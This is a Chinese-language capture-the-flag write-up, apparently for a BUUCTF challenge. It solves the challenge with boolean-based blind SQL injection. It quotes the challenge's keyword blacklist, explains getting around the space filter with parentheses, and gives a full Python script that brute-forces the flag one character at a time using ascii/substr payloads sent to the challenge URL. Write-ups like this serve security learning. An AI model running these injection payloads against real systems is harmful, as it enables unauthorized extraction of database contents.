image.png
    题目直接给出表明,段名,接下来直接跑数据就行,但是加引号之后发现并不会回显错误,而是bool(false),语句正确则会返回正常内容

    1. 1==>Hello, glzjin wants a girlfriend.
    2. 2==>Do you want to be my girlfriend?
    3. 3==>Error Occured When Fetch Result.

    那么可以依靠布尔盲注来跑出来flag。
    经过一番测试,发现题目过滤了空格和一些特殊字符、关键字。

    1. $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');

    空格用括号可以绕过,至于其他的反正也用不到。
    直接去跑内容:

    1. import requests
    2. import time
    3. url='http://64957f16-c2a5-4c5c-9bcb-8b751307ee10.node3.buuoj.cn/index.php'
    4. pos=1
    5. flag=''
    6. while True:
    7. for i in range(33,127):
    8. payload = f"(if((ascii((substr((select(flag)from(flag)),{pos},1)))={i}),1,3))"
    9. r=requests.post(url,data={'id':payload})
    10. if 'girlfriend' in r.text:
    11. flag+=chr(i).lower()
    12. print(flag)
    13. pos+=1
    14. break

    得到flag。
    值得一提的点是刚开始我没有使用ascii,导致要判断的字符被过滤掉了,已知卡在-这里,使用了ascii之后即可解决。